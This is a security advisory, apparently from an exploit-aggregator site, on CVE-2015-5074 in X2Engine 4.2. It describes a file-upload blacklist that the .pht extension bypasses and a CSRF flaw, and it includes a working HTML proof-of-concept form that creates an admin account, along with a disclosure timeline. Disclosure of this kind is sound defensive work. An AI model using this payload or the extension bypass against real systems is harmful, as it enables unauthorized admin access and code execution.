X2Engine 4.2 - Arbitrary File Upload / CSRF Vulnerabilities

🗓️ 25 Sep 2015 00:00:00Reported by PortcullisType

zdt🔗 0day.today👁 46 Views

X2Engine 4.2 - Arbitrary File Upload / CSRF Vulnerabilities. Authenticated users can upload arbitrary files bypassing blacklist. Allows execution of PHP code. Possibility of malicious content upload and legal implications. CSRF allows admin privilege escalation

Reporter	Title	Published	Views	Family All 11
ATTACKERKB	CVE-2015-5074	29 Sep 201519:59	–	attackerkb
CNVD	X2Engine X2CRM Input Validation Vulnerability	10 Oct 201500:00	–	cnvd
CVE	CVE-2015-5074	29 Sep 201519:00	–	cve
Cvelist	CVE-2015-5074	29 Sep 201519:00	–	cvelist
Exploit DB	X2Engine 4.2 - Arbitrary File Upload	25 Sep 201500:00	–	exploitdb
exploitpack	X2Engine 4.2 - Arbitrary File Upload	25 Sep 201500:00	–	exploitpack
NVD	CVE-2015-5074	29 Sep 201519:59	–	nvd
Packet Storm	X2Engine 4.2 Arbitrary File Upload	26 Sep 201500:00	–	packetstorm
Prion	Input validation	29 Sep 201519:59	–	prion
securityvulns	CVE-2015-5074 - Arbitrary File Upload In X2Engine Inc. X2Engine	26 Oct 201500:00	–	securityvulns

X2Engine 4.2 - Arbitrary File Upload

Details:
It was discovered that authenticated users were able to upload files of any type providing that the file did not have an extension that was listed in the following blacklist:
 
 const EXT_BLACKLIST = '/\.\s*(?P<ext>html|htm|js|jsb|mhtml|mht|xhtml|xht|php|phtml|php3|php4|php5|phps|shtml|jhtml|pl|py|cgi|exe|scr|dll|msi|vbs|bat|com|pif|cmd|vxd|cpl|ini|conf|cnf|key|iv|htaccess)\b/i';
However, there is another common (not present in regexp) that allow PHP execution: .PHT. It is therefore possible to execute any PHP code on the remote system.
 
Impact:
Permitting the uploading of arbitrary files could result in highly damaging content such as malware, indecent images, viruses and/or pirated software being uploaded and stored, and later downloaded. In addition, the storage of such material could quite possibly have serious legal implications for the hosting organisation.
 
In this case, an attacker could exploit the functionality to upload server scripts which, when requested by a browser, would execute code on the server.

Cross-site Request Forgery exploits the way in which HTTP and web browsers work.
 
Due to the fact that HTTP is a stateless protocol, and that web browsers will include all relevant cookies for the domain that a request is for, if an administrator user was logged into the application and the attacker sent a link that the administrator duly followed (or the attacker tricked them into following a link on a page), the administrator’s browser would include all cookies (including the session cookies) in the request. The attacker’s link would then be executed with administrator privileges.
 
This attack is not limited to sending malicious URLs to users; multiple different attack vectors exist to perform this attack in a more covert manner, such as embedding the attack within an invisible iFrame on a different page. Using the iFrame method it is also possible to submit both GET and POST requests.
 
For example:
 
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost/x2engine/index.php/users/create" method="POST">
      <input type="hidden" name="User&#91;firstName&#93;" value="John" />
      <input type="hidden" name="User&#91;lastName&#93;" value="Smith" />
      <input type="hidden" name="User&#91;username&#93;" value="adm1n" />
      <input type="hidden" name="User&#91;password&#93;" value="letmein" />
      <input type="hidden" name="User&#91;userKey&#93;" value="" />
      <input type="hidden" name="User&#91;title&#93;" value="" />
      <input type="hidden" name="User&#91;department&#93;" value="" />
      <input type="hidden" name="User&#91;officePhone&#93;" value="" />
      <input type="hidden" name="User&#91;cellPhone&#93;" value="" />
      <input type="hidden" name="User&#91;homePhone&#93;" value="" />
      <input type="hidden" name="User&#91;address&#93;" value="" />
      <input type="hidden" name="User&#91;backgroundInfo&#93;" value="" />
      <input type="hidden" name="User&#91;emailAddress&#93;" value="" />
      <input type="hidden" name="User&#91;status&#93;" value="1" />
      <input type="hidden" name="yt0" value="Create" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
 
Exploit:
Exploit code not required.
 
Remediation:
The vendor has released a patch however it is also possible to add new extensions such as PHT to the existing blacklist.
Vendor status:
15/09/2014  Submitted initial contact via web form on X2Engine’s page
30/09/2014  Second initial contact message sent via web form
08/12/2014  Final chaser sent via their web form
20/01/2015  Automated response from the X2 website received on 08/12/2014. Attempting to contact the email address that it was sent from “[email protected]”. If no response by the end of the week will start forced disclosure process
21/01/2015  Initial vendor response, details over vulnerability sent
26/02/2015  Chaser sent to vendor
17/04/2015  Second chaser sent to vendor
08/06/2015  Chaser sent to vendor. Unsure if his emails are getting through to us as he stated that he has been replying
08/06/2015  Vendor responded stating that they needed vulnerability details even though I had sent them months ago
09/06/2015  Vendor is approximately 75% through fix and will have a patch out within the next few weeks
26/06/2015  MITRE assigned CVE-2015-5074
13/07/2015  Vendor asked for CVEs to add to their page. Should be ready for publish soon when they have given their clients time to patch
22/07/2015  Email from vendor stating that they released the fix for this on 13/07/2015 and asked when we would be disclosing
23/07/2015  Vendor has asked if we wait off until they release their next major update (At some point in the next 2 weeks). Confirmed this is fine and to contact us when they have a release date confirmed for it
24/08/2015  Replied to the vendor
26/08/2015  Vendor confirmed that they are ready for us to publish
18/09/2015  Published

#  0day.today [2018-03-28]  #

25 Sep 2015 00:00Current

0.2Low risk

Vulners AI Score0.2

EPSS0.11204